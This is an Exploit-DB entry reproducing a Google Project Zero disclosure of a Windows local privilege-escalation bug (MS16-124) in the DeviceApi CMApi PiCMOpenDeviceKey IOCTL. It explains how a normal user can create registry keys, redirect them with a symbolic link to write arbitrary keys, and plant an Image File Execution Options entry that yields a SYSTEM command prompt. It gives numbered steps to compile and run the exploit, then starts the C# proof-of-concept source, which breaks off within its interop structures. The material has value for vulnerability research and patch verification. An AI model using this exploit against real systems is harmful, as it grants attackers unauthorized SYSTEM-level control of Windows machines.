Exploit-DB #40573
Description: Microsoft Windows - DeviceApi CMApi PiCMOpenDeviceKey Arbitrary Registry Key Write Privilege Escalation (MS16-124)
Type: local
Platform: windows
Date: 2016-10-18
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=872

Windows: DeviceApi CMApi PiCMOpenClassKey Arbitrary Registry Key Write EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PiCMOpenClassKey IOCTL allows a normal user to create arbitrary registry keys in the system hive leading to elevation of privilege.

Description:

The DeviceApi is a driver implemented inside the kernel which exposes a number of devices. One of those is CMApi which presumably is short for configuration manager API as it primarily exposes device configuration from the registry to the caller. The device exposes calls using IOCTLs, in theory anything which “creates” or “deletes” an object is limited behind an access check which only administrators have access to. However certain calls feed into the call PnpCtxRegCreateTree which will allow a user to open parts of the registry, and if they’re not there will create the keys. This is a problem as the keys are created in the user’s context using ZwCreateKey but without forcing an access check (it does this intentionally, as otherwise the user couldn’t create the key). All we need to do is find a CMApi IOCTL which will create the arbitrary keys for us.

Fortunately it’s not that simple, all the ones I find using the tree creation function verify that string being passed from the user meets some valid criteria and is always placed into a subkey which the user doesn’t have direct control over. However I noticed PiCMOpenDeviceKey allows a valid 3 part path, of the form ABC\DEF\XYZ to be specified and the only criteria for creating this key is it exists as a valid device under CurrentControlSet\Enum, however the keys will be created under CurrentControlSet\Hardware Profiles which doesn’t typically exist. The majority of calls to this IOCTL will apply a very restrictive security descriptor to the new keys, however if you specify the 0x200 device type flag it will use the default SD which will be inherited from the parent key. Even if this didn’t provide a useful ACE (in this case it has the default CREATOR OWNER giving full access) as it’s created under our user context we are the owner and so could rewrite the DACL anyway.

To convert this into a full arbitrary write we can specify a device path which doesn’t already exist and it will create the three registry keys. If we now delete the last key and replace it with a symbolic link we can point it at any arbitrary key. As the system hive is trusted this isn’t affected by the inter-hive symbolic link protections (and at anyrate services is in the same hive), however this means that the exploit won’t work from low-IL due to restrictions on creating symbolic links from sandboxes.

You should be treating anything which calls PnpCtxRegCreateTree or SysCtxRegCreateKey as suspect, especially if no explicit security descriptor is being passed. For example you can use PiCMOpenDeviceInterfaceKey to do something very similar and get an arbitrary Device Parameters key created with full control for any device interface which doesn’t already have one. You can’t use the same symbolic link trick here (you only control the leaf key) however there might be a driver which has exploitable behaviour if the user can create a arbitrary Device Parameters key. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It will create a new IFEO for a executable we know can be run from the task scheduler at system. 

1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should print that it successfully created the key. You should find an interactive command prompt running at system on the desktop.

Expected Result:
The key access should fail, or at least the keys shouldn’t be writable by the current user. 

Observed Result:
The key access succeeds and a system level command prompt is created.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;

      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;

      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }

      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }

      public ObjectAt